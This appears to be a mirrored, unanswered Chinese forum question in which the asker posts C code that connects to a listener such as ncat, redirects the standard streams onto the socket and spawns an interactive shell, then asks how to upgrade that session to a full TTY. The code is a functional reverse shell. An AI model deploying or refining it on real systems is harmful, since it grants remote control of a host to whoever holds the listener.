如何在C中将shell升级为TTY?

时间:2017-12-12 03:59:01

标签: c linux shell sockets termios

我正在开发一个客户端,它使用TCP套接字连接到监听服务器(例如 ncat ),当它执行时程序使用 dup2(socketfd,所有三个标准I / O文件描述符)系统调用,当它连接到服务器时将shell发送到服务器。 (如 SSH隧道但没有加密)

int create_socket()
{
    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    return sockfd;
}

struct sockaddr_in create_serv_addr(char* argv[])
{
    struct sockaddr_in serv_addr;

    memset(&serv_addr, 0, sizeof(serv_addr));

    serv_addr.sin_family        = AF_INET;
    serv_addr.sin_port          = htons(atoi(argv[2]));
    serv_addr.sin_addr.s_addr   = inet_addr(argv[1]);

    return serv_addr;
}

int main(int argc, char* argv[])
{
    int sockfd = create_socket();
    struct sockaddr_in serv_addr = create_serv_addr(argv);

    if (connect(sockfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) >= 0) {
         for (int i = 0; i < 3; i++) {
              close(i);
              dup2(sockfd, i);
         }

         execl(SHELL, SHELL, "-i", (char*)NULL);
   }
}

当我的 ncat 收到连接后,我得到了一个shell但是当我从该shell执行VIM时,我收到以下错误:

  

Vim:警告:输出不是终端

     

Vim:警告:输入不是来自终端

我无法在该shell中正确使用编辑器,我只是不知道为什么,实际上整个命令行感觉不对,也没有功能。

我调查了,我认为是因为我需要“将shell升级为完全交互式终端”或 TTY ,我读过 OpenSSH < / strong> GitHub 中的源代码,提出了一些如何修复它的线索,我认为&lt; termios.h &gt;图书馆是解决我的问题的关键,但我仍然感到迷失。

0 个答案:

没有答案